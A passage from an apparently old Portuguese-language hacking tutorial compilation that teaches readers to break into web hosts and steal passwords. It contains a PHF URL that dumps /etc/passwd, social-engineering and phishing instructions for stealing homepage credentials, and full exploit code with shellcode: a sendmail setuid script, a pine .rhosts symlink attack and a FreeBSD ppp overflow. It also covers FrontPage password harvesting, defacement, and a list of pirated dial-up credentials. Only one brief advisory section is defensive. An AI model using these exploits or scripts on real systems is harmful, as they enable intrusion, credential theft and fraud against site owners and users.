aplicadas! Agora você precisa ir para o diretório etc. Entre e faça o
donwload do passwd. Pra isso digite "get passwd". Pronto, o arquivo
passwd vai estar no diretório que você estava quando entrou no ftp. Tipo
windows, arquivos de programas.... Agora você que tem o arquivo só precisa
desencryptalo e pronto! A senha estará em suas mãos..
6-PHF
:
O
phf é com certeza o modo mais simples de se obter o arquivo passwd. É tão
simples que você não precisa saber nada! A única coisa que você tem que
fazer é abrir seu browser e colocar uma URL. Porém esse método tem 95% de
chance de não funcionar! A maioria dos servidores já acharam o bug e
concertaram. Só colocar essa URL no location do seu browser :
http://Endereço_da_pagina/cgi-bin/phf?Qalias=x%0a/bin/cat%
20/etc/passwd
Apenas
isso e pronto!
7-HACKEANDO
SERVIDORES DE HOME PAGES GRATIS (1):
Alguns
servidores de home page tipo a geocities, tripod e a angelfire, dão espaço
para pessoas colocarem suas home pages no ar. Há um modo bem simples de se
obter ]a senha de home pages que estão nesses servidores. Tudo que voce tem que
fazer é mandar um e-mail pedindo pra eles te mandarem a senha da home page. Mas
não mande um e-mail estúpido tipo : "por favor me mandem a senha".
Façam algo mais convincente. Pegue todas as informações da HP possíveis. Do
tipo : "Mês passado eu me cadastrei no serviço de vocês e recebi uma
senha e um user name e meu endereço "endereço da HP do cara". Eu
coloquei algumas coisas no meu espaço e saí de férias. Quando voltei das
ferias eu tinha me esquecido da senha!! Só me lembrava do user name, que é :
"user name da HP". Fiquei um bom tempo de ferias e não pude pagar o
provedor, por isso estou com um e-mail diferente do que consta no cadastro de
vocês. O meu antigo e-mail era esse "mail do webmaster da HP" Por
favor preciso que vocês me mandem um e-mail para "seu e-mail". Porque
eu não tenho o backup dos arquivos que coloquei lá e não gostaria de
perde-los. Obrigado pela atenção. Espero que voces mandem a senha o mais rápido
que puderem."
Companhias
como a geocities são muito ocupadas pra ficar verificando se é verdade eu não!
Provavelmente eles iram acreditar e em 2 semanas(mais ou menos) você receberá
a senha no seu e-mail!
8-
HACKEANDO SERVIDORES DE HOME PAGES GRATIS (2):
Outro
modo de hackear esse tipo de home pages é enganar o próprio webmaster da HP!
Esse modo funciona normalmente com webmasters idiotas que não sabem muito coisa
e nem percebem que eles mesmos estão dando a senha para o hackeador. É outro método
bem simples mas um pouco mais demorado. O que você tem que fazer é criar uma
pagina onde você finge que é a geocities que esta dando mais megas para HP's!
Ou seja, você terá que criar uma página imitando a geocities! Faça uma
pagina exatamente no estilo da da geo. E coloque tudo com as mesmas gifs, mesmos
banners e coloque um formulário pra ser preenchido e diga que quem preencher
aquilo vai ganhas mais 10 megas livre de espaço pra HP!!! Nesse formulário o
cara terá que colocar o user e a senha da HP, o endereço e etc.... Para o cara
"receber" os megas ele terá que enviar o formulário. Para isso ela
deverá clicar em algum botão de envio, normalmente um botão que fica escrito
"submit" Quando a pessoa clica no botão submit formulário é enviado
para a geocities pois aquele botão tem um comando para enviar para a geocities.Então
o que você terá que fazer é mudar o comando. Em vez do formulário ser
enviado para a geocities esse formulário vai ser enviado para o seu e-mail.
Para isso você terá que editar a pagina da geocities. No lugar que tem
escrito:
Você
terá que trocar para :
Então
assim que o cara clicar no botão submit todos os dados seram enviados para o
seu e-mail. E assim você terá a senha. Agora é só pegar um endereço na net
e colocar essa pagina editada na geocities nele e mandar as pessoas visitarem. E
pronto! O formulário vai chegar com a senha e user name no teu e-mail.
Há
uma tecnica parecida com essa mas é MUITO mais complicada. Pra isso você vai
precisar de um servidor pessoal e terá que mudar algumas configurações em TCP/IP
Pra isso abra o painel de controle e entre no ícone redes. Agora entre nas
propriedades de TCP/IP. Entre na conficuração DNS. Selecione ativar DNS. Agora
escreva no HOST-->WWW.GEOClTIES(repare que geocities está escrito com
"l" e não um "i") Então escreva no dominio-->COM. Agora
dê OK em tudo. Vai pedir que você reinicie o micro. Pode reiniciar. Siga o
mesmo procedimento do formulário e da pagina da geocities da explicação
anterior. Salva essa pagina e coloque-a no diretório de paginas do seu
servidor. Então voce cria um diretório chamado "members", entra
nesse diretório e crie um, diretório chamado "tools". Coloque tudo
da page editada nesse diretório. Coloque seu servidor pra funcionar e mande o
cara entrar em : HTTP://WWW.GEOClTIES.COM/members/tools/file_manager.html
O
endereço tem que ser esse. Se a pessoa entrar no file manager da geocities isso
não vai funcionar(ooohhh!!!) Quando o cara colocar os dados dele lá e enviar
estará tudo no teu mail!
Queria
avisar que esses metodos também funcionam com a angelfire e com a tripod. A
geocities foi usada como exemplo.
9-HACKEANDO
UMA HP EM QUE VOCE JÁ TENHA CADASTRO NO MESMO SERVIDOR:
Esse
método é realmente difícil de funcionar mas as vezes funciona com uns admins
bem idiotas. Quando você entra no seu ftp você pode sair do seu diretório
home (diretorio onde você esta assim que entra) e voltar alguns diretórios até
encontrar o diretório da HP que você quer hackear. Uma vez que voce já fez,
se você puder ter acesso aos arquivos HTML pegue-os e edite eles! E pronto! Com
admins mais inteligentes você não consegue ter acesso os arquivos da page
alvo.
10-TENET
E EXPLOITS :
Exploits
é talvez o melhor método de hackear uma home page. Mas ele é um pouco mais
complicado do que os outros métodos como phf e ftp. Antes de tudo você vai
precisar de um programa de telnet. Exploits expo em erros e bugs nos sistemas e
normalmente te dão root, sysop, admin.... Vou listar alguns exploits abaixo :
Esse
se chama sendmail bug. Ele cria um programa /tmp/x que chama shells como root.
-----------------------------------------------------------------------------------------------------------------------------
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root
/tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc
-O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish
/tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep
/tmp/smtpd|grep -v grep|sed
s/"[ ]*"//
|cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish
/tmp/smtpd.c /tmp/smtpd
/tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi
----------------------------------------------------------------------------------------------------------
Agora
mais um exploit. Eu vou mostrar o "pine exploit" vendo o processo da
tabela com ps você pode ver
os
usuário rodando o pine. Um então pode fazer um ls no /tmp/ pra conseguir o
nome do lockfile pra cada
usuário.
Vendo o processo da tabela de novo vai revelar quais usuarios ou saem com
mensagens não lidas
nos
seus inbox. Efetivamente deletando o lockfile respectivo.
Criando
um link de /tmp/.hamors_lockfile para ~hamors/.rhosts vai fazer com que o pine
crie
~hamors/.rhosts
como com um arquivo 666 com as identidades processadas e que elas contém.
Agora
precisa fazer um " echo "+ +" > /tmp/.hamors_lockfile e rm /tmp/.hamors_lockfile.
--------------------------------------------------------------------------------------------------------
hamors (21 19:04)
litterbox:~> pine
catluvr (6 19:06)
litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100
356 pp3 S 19:07 0:00 grep
pine
hamors 1732 0.8 5.7 249
1104 pp2 S 19:05 0:00 pine
catluvr (7 19:07)
litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors
elite 4 Aug 26 19:05
.302.f5a4
catluvr (8 19:07)
litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100
356 pp3 S 19:08 0:00 grep
pine
catluvr (9 19:09)
litterbox:~> ln -s /home/hamors/.rhosts
/tmp/.302.f5a4
hamors (23 19:09)
litterbox:~> pine
catluvr (11 19:10)
litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100
356 pp3 S 19:11 0:00 grep
pine
hamors 1756 2.7 5.1 226
992 pp2 S 19:10 0:00 pine
catluvr (12 19:11)
litterbox:~> echo "+ +" > /tmp/.302.f5a4
catluvr (13 19:12)
litterbox:~> cat /tmp/.302.f5a4
+ +
catluvr (14 19:12)
litterbox:~> rm /tmp/.302.f5a4
catluvr (15 19:14)
litterbox:~> rlogin litterbox.org -l hamors
Esse
é o ultimo que vou relacionar aqui. Exploitation script para vunerabilidade ppp.
Funciona em "FreeBSD".
#include
#include
#include
#define BUFFER_SIZE 156
/* size of the bufer to
overflow */
#define OFFSET -290 /*
number of bytes to jump
after the start
of the buffer */
long get_esp(void) {
__asm__("movl %esp,%eax\n"); }
main(int argc, char
*argv[])
{
char *buf = NULL;
unsigned long *addr_ptr
= NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
/*
16 bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
/*
16 bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
/* 20 bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
/* 15 bytes, 57 total */
int i,j;
buf = malloc(4096);
/* fill start of bufer
with nops */
i =
BUFFER_SIZE-strlen(execshell);
memset(buf, 0x90, i);
ptr = buf + i;
/* place exploit code
into the buffer */
for(i = 0; i <
strlen(execshell); i++)
*ptr++ = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (104/4);
i++)
*addr_ptr++ = get_esp()
+ OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
setenv("HOME",
buf, 1);
execl("/usr/sbin/ppp",
"ppp", NULL);
}
Agora
voce tem o root. Faça o que você quiser! Mas eu trocaria logo a senha da HP
antes de mexer em qualquer coisa ou deletar. Pra trocar a senha da HP voce tem
que é entrar via telnet E entrar com sua nova conta Ae voce digita "passwd
:". Vai pedir a senha antiga e depois a senha que você quer colocar. Agora
você só voce tem a senha e então é só fazer o que você quiser como deletar
tudo e fazer o Upload das suas paginas.
11-HACKEANDO
UMA HP QUE VOCÊ TENHA CADASTRO NO MESMO SERVIDOR.(2)
Esse
texto eu li na internet e achei bem interessante mostrar na minha home page. Eu
nao vou escrever esse metodo por mim porque prefiro deixar ele intacto, pois por
descuido eu poderia corromper alguma informação. Infelizmente o texto é em
ingles! Desculpe se você nao fala...
Exploiting Net
Adminstration CGI (taken from a text by Lord Somer)
Well since
nethosting.com either shutdown or whatever I figured what the hell before I
forget how I did the more recent hacks etc... I'd tell you how so maybe you'll
find the same sys elsewhere or be able to use it for ideas.
Basically Nethosting.com
did all it's administration via cgi's at net-admin.nethosting.com, well you need
an account, card it if necessary, log in to net-administration, you'll see crap
like ftp administration, email, etc... who really cares about e-mail so we'll go
to ftp. Click on ftp administration. Lets say you were logged in as
7thsphere.com your url would be something like:
http://net-admin.nethosting.com/cgi-bin/add_ftp.cgi?7thsphere.com+ljad32432jl
Just change the
7thsphere.com to any domain on the sys or if in the chmod cgi just del that part
but keep the + sign and you edit the /usr/home dir. In the ftp administration
make a backdoor account to that domain by creating an ftp who's dir is / since
multiple /// still means /.
Once you have your
backdoor have fun. Oh yeah and in the email you can add aliases like I did to
rhad's e-mail account at 7thsphere, why the hell is he on that winsock2.2
mailing list?
Well the basic theory of
this type of exploitation is that:
the cgi is passed a
paramater which we change to something else to edit it's info
since it uses the stuff
after the + to check that it's a valid logged in account(like hotmail does), it
dosen't check the password again.
multiple ///'s in unix
just mean a /, thus we can get access to people's dir or the entire /usr/home
dir
Eu
queria avisar aqui que todos os items relacionados aqui realmente funcionam! Se
você nao conseguir, foi porque cometeu algum erro, ou fez "mal
feito". Muita gente tem reclamado que não funciona... Se você entendeu
tudo perfeitamente você pode hackear quase qualquer home page.
Hackeando
extensões FrontPage
Estou
aqui para explicar à vocês como penetrar em servidores rodando Microsoft
Frontpage Extensions. A principal razão pela qual eu não incluí sub-capítulos
no conteúdo foi porque... eu estou muito cansado.
Encontrando
servidores que rodam extensões Frontpage.
Usando
seu browser, vá até algum destes sites:
metacrawler.com,
yahoo.com, google.com, excte.com
Procure por haccess.htl
<or> service.pwd
NOTA:
->
service.pwd é o arquivo padrão para senhas
->
haccess.htl contém o diretório atual do arquivo password se o service.pwd é
falso ou as senhas estão em shadow
Note
também que o service.pwd não é o único arquivo de senhas que pode ser
encontrado. admin.pwd, users.pwd, Authors.pwd, administrators.pwd, também podem
ser encontrados.
Ok.
Depois de procurar, você encontrará uma lista com cerca de 100 sites rodando
extensões frontpage. Clique em um dos links. Se você clicou em algum arquivo
haccess.htl, você verá algo assim:
-Front Page-
Options None
<Limit GET POST
PUT>
order deny,allow
deny from all
</Limit>
AuthName default_realm
AuthUserFile
c:/frontpage\ webs.content/_vti_pvt/service.pwd
AuthGroupFile
c:/frontpage\ webs.content/_vti_pvt/service.pwd
Nós
vamos focalizar as duas últimas linhas. O AuthUserFile. Este é o diretório
atual do arquivo password ativo (não é falso ou shadowed). Agora, faça o
download do arquivo de senhas através do diretório especificado.
Volte
aos resultados da procura. Se você clicou em um dos links e foi levado ao
arquivo de senhas você verá algo do tipo:
systemphuc:aBcDeFj
Copie
isso e coloque em formato DES (UNIX):
systemphuc:aBcDeFj:0:0:comments:/:/bin/bash
Agora,
crackeie isso usando seu cracker de senhas unix favorito. Eu gosto de usar John
the Ripper. Ok, agora você tem um login e senha válidos. Isso pode ser usado
de duas formas. A primeira é o IPC$ share (será discutido em outra
oportunidade) e a Segunda é hackear o servidor de extensões frontpage. Para
fazer isso abra o seu FrontPage, vá em File>Open ou Open Frontpage Web put,
isso mostrará uma pequena “bola” opcional, marque-a e depois coloque a
“bola” no endereço IP do servidor ou do endereço http (isso é meio
confuso, mas é assim que se faz). Depois clique em conectar. Se o servidor não
tiver senha você estará conectado e apto a alterar a página. Mas se o
software foi instalado adequadamente e o username/senha forem solicitados...
coloque o username/password que eu te mostrei como descobrir e crackeie. Clique
em ok, agora você estará apto a alterar as páginas.
Você
pode colocar mensagens na página como:
"im a big stupid
fuck i hacked you page, ha ha ha... ha ha ha".
Vulnerabilidade
no aplicativo FrontPage
Versão:
1.0
Autor:
[email protected]
26
de Janeiro de 2000
Ao
longo dos últimos meses vem se verificando um crescimento na exploração, com
sucesso, de vulnerabilidades no aplicativo Front Page. Estas vulnerabilidades
permitem a um usuário remoto obter acesso `a arquivos e diretorios de um
servidor WEB, permitindo obtenção dos arquivos de senhas dos administradores
do serviço Front Page, ou a modificação direta do conteúdo das páginas
publicadas.
2.
Impacto
Nota-se
que o ambiente Windows com IIS 4.0 é seguramente onde tem ocorrido maior número
de ataques, mas outros ambientes que permitam atualização via Front Page, (módulo
para servidor Apache em Windows ou Unix, por exemplo) também são vulneráveis.
3.
Solução
-
Retire os arquivos de exemplos que acompanham a distribuição
-
Aplique as correções ou atualize a versão do aplicativo Front Page
[http://www.microsoft.com/security]
-
Habilite autenticação ao Extension Server
-
Monitore atividades, principalmente em arquivos e diretórios usados pelo
Front
Page, tais como: _vti_bin, _vti_pvt, _vti_inf.html, admin.dll, etc.
-
Proteja o arquivo de senhas 'service.pwd'
Ex:
<Files ~
"^\service.pwd">
Order deny,allow
Deny from all
</Files>
>>SENHAS
PIRATAS<<
1
- Tente não conectar-se entre 9:00 e 222:00.
,MXCM
2
- Nunca, mas nunca, use mais de 2 horass por dia, mesmo assim é muito, o melhor
é tentar descobrir se a senha que você esta usando é "full", se
for, se deu de bem, geralmente o "usuario" nem liga para seu saldo de
horas gastas, mas não exagere.
3
- Tenha mais de uma senha de acesso, noo mínimo 3, para caso de algo errado com
uma das senhas você tem mais 2 para poder ir correndo atrás de mais senhas e
ficar mais calmo.
4
- Se você perceber que esta "cainddo" muito, não entre mais nesse dia
que você caiu, entre só no outro dia, se o "usuário normal" estiver
conectado também, geralmente, um dos dois que usam a mesma senha vão cair,
toda hora um caí e se ele cair de mais ele pode desconfiar e acabar trocando a
senha e babal pra você.
5
- Seja discreto, não vai chegar numa saala de Chat se achando o maior e ficar
falando para todo mundo que esta usando um senha pirata.
6
- Use a cabeça.
Agora
vamos as mais esperadas, você tava loco pra chegar aqui, num tava? É isso,
"EU QUERO É VER O OKO"
Servidor
Fone Usuário Senha Estado
Uninet (061) 327 2882
ieak unisys96 DF
Mandic
(011) 870 0100 ppp novo São Paulo
IBM
(011) 887 9001 <nada> <nada> São Paulo
UOL
0800 15 8002 universo online (Brasil)
Essas
são senhas de inscrição, se você ainda não sabe nem pegar senhas de inscrição,
vai aprender agora, é só pensar um pouco, vamos lá:
Você
já deve ter comprado uma dessas revista de Informática, algumas delas
geralmente vem com um Cd de horas grátis de internet, aí você já deve ter
executado o programa, ele pede para instalar a merda do Internet Explorer e mais
monte de coisa, aí no final, geralmente, reinicia o computador aí é executado
altomaticamente o Internet Explorer, ELE VAI DISCAR PARA UM LOCAL PARA PODER
FAZER SUA INSCRIÇÃO... e esse local é um servidor de internet... já sabe até
o que fazer né não?
Para
você conseguir achar os dados da inscrição, você tem que saber em qual
arquivo tá guardado os dados sobre a mesma, use um editor Hexadecimal, ou use o
Edit do MS-DOS. Visualize arquivo por arquivos do diretório onde fica a Instalação
das horas grátis, procure por numeros de telefone, quando você achar você vai
acabar vendo alguma coisa por perto haver com "senha", bom aí tá sua
senha de inscrição, e o usuário também deve tá por perto, mas para melhorar
sua vida, geralmente, esses dados (telefone, usuário e senha) ficam num arquivo
chamado "signup.???", é signup <ponto> alguma coisa, eu esqueci
a extensão, mas não há muito arquivo com esse nome. Visualize ele, até pelo
Notepad mesmo, gostou? muito bom né nao? Dentro dele vem tudo dividido
certinho, tudo prontinho pra usar... bom, você intendeu né? se não intendeu
leia denovo!
Quase
sempre essas senhas só deixam ficar conectadas por um certo tempo, depois o
servidor desconectão você, o tempo de conexão é mais ou menos uns 15
minutos, é o tempo que você usa pra fazer a inscrição, mas se você for
inteligente e criativo, com esses 15 minutos você pode tentar invadir um
servidor da sua cidade e pegar as senhas dele, mas cuidado em, não exagere...
>>
IP Spoffing<<
O
IP Spoofing ficou famoso após ter sido a atração principal do ataque à rede
de Tsutomu Shimomura, um dos maiores especialistas de segurança dos Estados
Unidos, quando através dele, na noite de natal de 1994, o mais famoso e
procurado hacker americano, Kevin Mitnick, invadiu a sua rede particular e
roubou alguns dos seus programas, dentre eles, um software de programação dos
celulares Oki, que lhe permitiria ter um controle total sobre suas ligações
clandestinas e escutas de celulares.
Esta
história, é claro, foi desmentida por Kevin, que apesar do sabido interesse no
referido telefone, não demonstrava aptidão suficiente para realizar um ataque
desta grandeza. Apesar deste tipo de ataque ter sido teorizado há muitos anos,
somente na metade desta década ele ficou mundialmente conhecido e, em 1997 já
era o 4° método de invasão mais utilizado. Hoje encontram-se ferramentas que
automatizam esta fatigante tarefa, e tem-se conhecimento de ataques de spoofing
concretizados em menos de meio minuto!
Disfarce.
É isto que este ataque faz. Muitas comunicações entre computadores na
Internet se baseiam em "parceiros" confiáveis. Um computador X pode
manter uma comunicação com um computador Y de forma que não seja necessária
a constante verificação de autenticidade entre eles. O hacker, então, se
disfarça, dizendo para o computador X que "ele" é o computador Y.
Desta forma o computador X vai aceitar seus comandos tranqüilamente, enquanto
ele deita e rola pelo sistema.
Um
pouco mais de detalhes: os pacotes IP possuem um endereço destino e um endereço
origem. Normalmente o endereço origem reflete a realidade, mas nada impede que
um hacker altere este pacote para que ele pareça ter vindo de outro lugar. Só
que não é tão simples assim... Além de enganar o destino, neste caso o
computador X, é necessário que se sobrecarregue o computador Y, para que ele não
responda às mensagens de X, o que faria com que Y dissesse: "Mas eu não
te perguntei nada!", e X cancelaria a conexão.
Faz-se
necessária, ainda, uma "previsão" do número de seqüência mandado
por X. Este número é enviado por X ao originador da conexão (supostamente o
Y). Mas Y não irá responder, devido à sobrecarga explicada anteriormente. Então
o hacker deve prever o número de seqüência mandado por X para que seja
enviado um novo pacote com estes números de seqüência, fingindo novamente ter
sido enviado por Y, e forjando a autenticação.
A
previsão deste número de seqüência é um processo demorado e criativo.
Durante a negociação da conexão, os computadores trocam informações para
efetuarem o "handshake" ou "aperto de mão". Dentre as
informações trocadas estão os números de seqüência, que devem ser
repetidos para o destino, para que este se certifique da autenticidade da conexão.
O que o hacker pode fazer é o seguinte: enviar, através de um pacote legítimo,
com o endereço de origem verdadeiro, vários pedidos de conexão à X. Este
responde com um número de seqüência para que o hacker o repita e efetue a
conexão, mas a máquina de origem (o hacker) não tem privilégios e não lhe
interessa fechar esta conexão. Então ele não responde a estes pacotes de X,
apenas os guarda e verifica seu número de seqüência.
Após
vários pedidos de conexão com X, o hacker pode "aprender" como X
gera seus números e então mandar um pedido de conexão, desta vez com o endereço
de origem sendo Y (o computador confiável). Obviamente, o hacker não vai
receber os pacotes de X com os números de seqüência, pois estes irão para o
endereço de origem (computador Y, que, a esta altura, precisa estar
sobrecarregado para não repondê-los), mas, com base nos cálculos anteriores,
o hacker prevê e manda o número de seqüência correto para o computador X,
fechando a conexão.
Esta
conexão é unidirecional, pois todas as respostas de X serão destinadas ao
computador Y, e não ao computador do hacker. Então o hacker age "às
cegas", pois não recebe nenhum tipo de retorno de X, pelo menos enquanto
configura X para aceitar conexões do seu próprio computador. Ao terminar, o
hacker tira o disfarce: desfaz a conexão falsa com X, e faz uma legítima,
agora que X pode aceitar conexões confiáveis através do computador do hacker,
com todos os privilégios possíveis e imagináveis.
Há
dois inconvenientes neste ataque: o trabalho de achar um padrão nos números de
seqüência e a falta de retorno do computador invadido. Entretanto, existe
ainda uma outra categoria de spoofing, que, apesar das condições pouco comuns,
é muito mais eficiente. Neste tipo de ataque, um computador de pouca importância
em uma rede é invadido por um método simples qualquer (infelizmente, os
computadores que não guardam informações importantes geralmente são
esquecidos no projeto de segurança) e, estando localizado no mesmo meio físico
onde ocorre uma comunicação entre duas máquinas importantes, ele poderá
"captar" todo o tráfego deste meio físico. Com isso ele saberá os números
de seqüência de ambos os lados, podendo interceptar este diálogo, pondo-se no
lugar de um dos computadores da conexão confiável, tendo total acesso aos
dados mais sigilosos.
Este
tipo de ataque só pode ser eficazmente prevenido através de um controle
apurado de TODOS os computadores da rede local, que compartilham o mesmo meio físico,
ou através de uma comunicação confiável baseada em aplicativos de
criptografia.
Invasão
por IP
Alegria de uns, tristeza de outros, na verdade,
aqueles que utilizam a rede Dial-Up do Win95 para sua conecção com a internet
podem estar correndo sérios riscos a não ser, é claro, que assim conectam-se
propositalmente, com intenções "diversas". Utilizar-se de uma conecção
PPP do Win95 num provedor de acesso, significa estar disponibilizando seu
computador a todos os usuário da net. Mesmo sem o compartilhamento de arquivos,
existem diversas ferramentas que permitem a outra pessoa conectar-se ao seu
computador caso você esteja utilizando esse tipo de conecção. conecte-se à
Internet utilizando a rede Dial-Up do Win95. Se o seu provedor não
disponibilizar uma conecção do tipo PPP, estas dicas não funcionarão.
Verifique antes, se você possui os drivers clientes para redes Microsoft. Caso
não estejam instalados, instale-os através do Painel de Controle, no ícone
Redes. Verifique também se o compartilhamento de Arquivos e Impressoras está
instalado. Se estiver, você estará sujeito à que outra pessoa conecte-se ao
seu computador simplesmente sabendo seu IP. Se bem que, para aqueles que já
sabem, existem mil maneiras diferentes de se "burlar" a fraquinha
segurança do Win95. Para você poder encontrar outros computadores
compartilhados, você deve configurar WINS e LMHOSTS. O WINS é utilizado para
localizar os computadores com IP fixo. O LMHOSTS, é acionado automaticamente na
procura de computadores que possuem IP dinâmicos. Configurar essas opções é
simples. Vá ao Painel de Controle e abra Rede. Verifique as propriedades do
protocolo TCP/IP. Alí você encontrará a opção para ativar a resolução
WINS. No caso de você não conhecer nenhum servidor WINS, utilize 204.118.34.6
como primário e 204.118.34.11 como secundário. Esses servidores são dos USA,
e gratuítos. Caso queira outros endereços, utilize um dos mecanismos de busca
na Internet. Para configurar o LMHOSTS, você precisa criar um arquivo texto
simples, utilizando-se atá mesmo o Bloco de Notas do Windows. O arquivo criado
deve chamar-se LMHOSTS. É nesse arquivo que ficarão os endereços de IP e os
nomes dos computadores que você terá acesso. Para localizar um determinado
computador, você digita o seu número de IP e a seguir seu NetBios, na mesma
linha, separados por um espaço. Se você executar o programa NBSTSTAT, seguido
da opção -N, você obterá essa lista, com o nome e o IP de seu computador
sempre sendo o primeiro da lista, seguido das outras máquinas disponíveis,
tudo numa janela DOS. Através do Explorer você poderá ver os computadores
disponíveis na rede,dos quais você ainda poderá utilizar os discos
mapeando-os, o que os tornará unidades de seu computador
Manual
Hacker
Aviso
Em
primeiro lugar: Eu não me responsabilizo pelo uso indevido das informações,
exemplos, descrições, enfim tudo o que estiver contido aqui.
TUDO o que você fizer com o material contido aqui sera de plena
responsabilidade SUA. Tudo aqui contido é apenas de carácter EDUCATIVO.Repito,
eu não me responsabilizo por NADA que você fizer.
------------------------------------------------------------------
Índice
------------------------------------------------------------------
1.
Introdução
1.1 Falta de informação
1.2 Vamos ao que interessa!
2. Definições
2.1 O que é um Hacker?
2.2 O que é Hacking?
2.3 Por quê hack?
2.4 A diferença entre Hackers e Crackers
2.5 Regras Hackers
2.6 Onde começar
3.
Entendendo os sistemas
3.1 Telenet
3.2 Sistemas Operacionais
3.3 Definições
4.
Vírus, Trojan Horses e Worms
4.1 Vírus
4.2 Trojan Horse (Cavalo de Tróia)
4.3 Worm
5.
PGP
6.
HACK (A melhor parte)
6.1
- HACK PC
6.1.1 Password do BIOS
6.1.2 Password do Windows
6.1.3 Password do screen saver do Windows
6.1.4 Proteção de documentos do Word
6.1.5 Proteção de arquivos ZIP
6.1.6 Proteção de arquivos ARJ
6.1.7 Copiando digitações ou macros de um micro
6.1.8 Um editor hexadecimal
6.1.9 Escondendo informações
6.2
- HACK MODEM
6.2.1 Encontrando o sistema
6.2.2 Sistemas UNIX
6.2.3 Sistemas VAX/VMS
6.2.4 Sistemas PRIME
6.2.5 Rede Novell
6.2.6 Passwords muito utilizados
6.2.7 E-mail
7.
O Autor
7.1 Como contatar o Autor
8.
Documentos utilizados na criação do Manual
----------------------------------------------------------------
1
- Introdução
----------------------------------------------------------------
1.1
- Falta de informação
Todos os textos que eu via na WEB ou em BBS's tinham uma falta de informação
inacreditável. Na verdade, eu imagino que eles
sabiam e estavam regulando informação (o que eu não concordo, as informações
devem ser compartilhadas!), ou não sabiam porra nenhuma e só diziam as drogas
que viam em outras páginas.
Então, nesse manual, estou disponibilizando todas as informações para
os Hackers novatos!
Obs.: Os lamers são bem vindos contanto que sejam esforçados e queiram
aprender.
1.2
- Vamos ao que interessa!
Bom... agora vamos ao que interessa! Você encontrar nesse manual, aquilo que
você sempre quis saber e ninguém te dizia. As
fórmulas milagrosas para invadir sistemas, enfim... TUDO! Faça bom proveito!
----------------------------------------------------------------
2
- Definições
----------------------------------------------------------------
2.1
- O que é um Hacker
Tudo isto que vocês pensam dos Hackers foi criado possivelmente com a
publicidade gerada pelos filmes que tratam do assunto,
como: Jogos de Guerra e agora com
os mais recentes A rede e Hackers.
São aqueles possuem muitos, senão todos, os conhecimentos acima - isso não é
uma regra, mas não usam para os mesmos propósitos e
as vezes auxiliam os próprios técnicos em segurança e os webmasters a
proteger seus sistemas. São de uma inteligência e determinação muito
superiores a de uma pessoas comuns, pois eles são capazes de passarem semanas
ou até mesmo meses
lendo e aprendendo de um novo sistema, apenas com o propósito de saber e
utilizar esses sistemas.
Um Hacker, é um sabichão. Justamente por saber muito, ele tem condições de
"aprontar" por ai. O Hacker sempre quer aprender mais um
pouco e normalmente acaba perdendo horas de sono por isso. É aquele que
tem prazer em sentar em frente de seu micro e ficar horas e horas buscando nem
sabe o quê.
Naturalmente xereto, o Hacker adora invadir sistemas alheios para simplesmente
preencher seu ego. Muitas de suas façanhas podem ser discutiveis ao nível
social, mas o verdadeiro Hacker não costuma estragar nada, subtrair
programas, ou sequer roubar informações em detrimento de outrem.
O Hacker é, acima de tudo, um intelectual informatizado.
2.2
- O que é Hacking?
Hacking é o ato de penetrar em sistemas de computadores para ganhar mais
conhecimento e entender como é seu funcionamento. Em
português hack significa corte, entalhe.
2.3
- Por quê hack?
Como já foi dito anteriormente, o hack é feito para a aprimorar os
conhecimentos de uma pessoa em relação a um sistema de computadores. Hackers não
destrõem, não roubam e nem espionam informações por
dinheiro.
2.4
- A diferença entre Hackers e Crackers<
Os Crackers são os que a imprensa confunde com os hackers, são aqueles que
invadem sistemas com o propósito de roubar programas ou simplesmente apagá-los,
são inteligentes, porém, em sua maioria, prepotentes, pois deixam mensagens do
tipo: "Eu sou o melhor ! / Apaguei e escapei!"entre outras, deixando
na maioria das vezes um rastro que possibilita sua
captura. Possuem conhecimentos semelhantes aos phreaks mais com propósitos um
pouco mais destrutivos.
Um exemplo recente foi a prisão de Kevin Mitnick, o "ladrão K(?) cibernético
mais procurado da história, capturado pelo FBI com a ajuda do Tsutomu
Shimomura, o técnico de segurança mais respeitado da história (?). Um Cracker
é o que utiliza de suas habilidades em proveito próprio, não importando
quantos ou quais prejuízos cause. Este é um elemento perigoso, que muitas
vezes acaba por se auto-destruir. Normalmente coloca vírus em computadores,
descobre senhas para vender a empresas, destrói informações, corrompe
sistemas e apronta tudo que pode.
2.5
- Regras Hackers
1- Nunca destruir nenhum sistema.
2- Nunca alterar nenhum dos arquivos do sistema, a não ser que seja necessário
para esconder a sua presença ou garantir a sua entrada
posteriormente.
3- Não compartilhe com ninguém seus projetos hackers, com
ninguém
4- Em uma BBS, não é aconselhável que você discuta seus projetos hackers.
BBS's podem ser monitoradas pelo governo.
5- Nunca dê nomes ou telefones reais em uma BBS.
6- Nunca deixe seu apelido em um sistema que você entrou.
7- NãO entre em computadores governamentais.
8- Nunca converse sobre seus planos hackers com outra pessoa do telefone de sua
casa.
9- Seja atento. Mantenha todo o seu material hacker em um lugar seguro.
10- Para se tornar um verdadeiro hacker você deve simplesmente praticar.
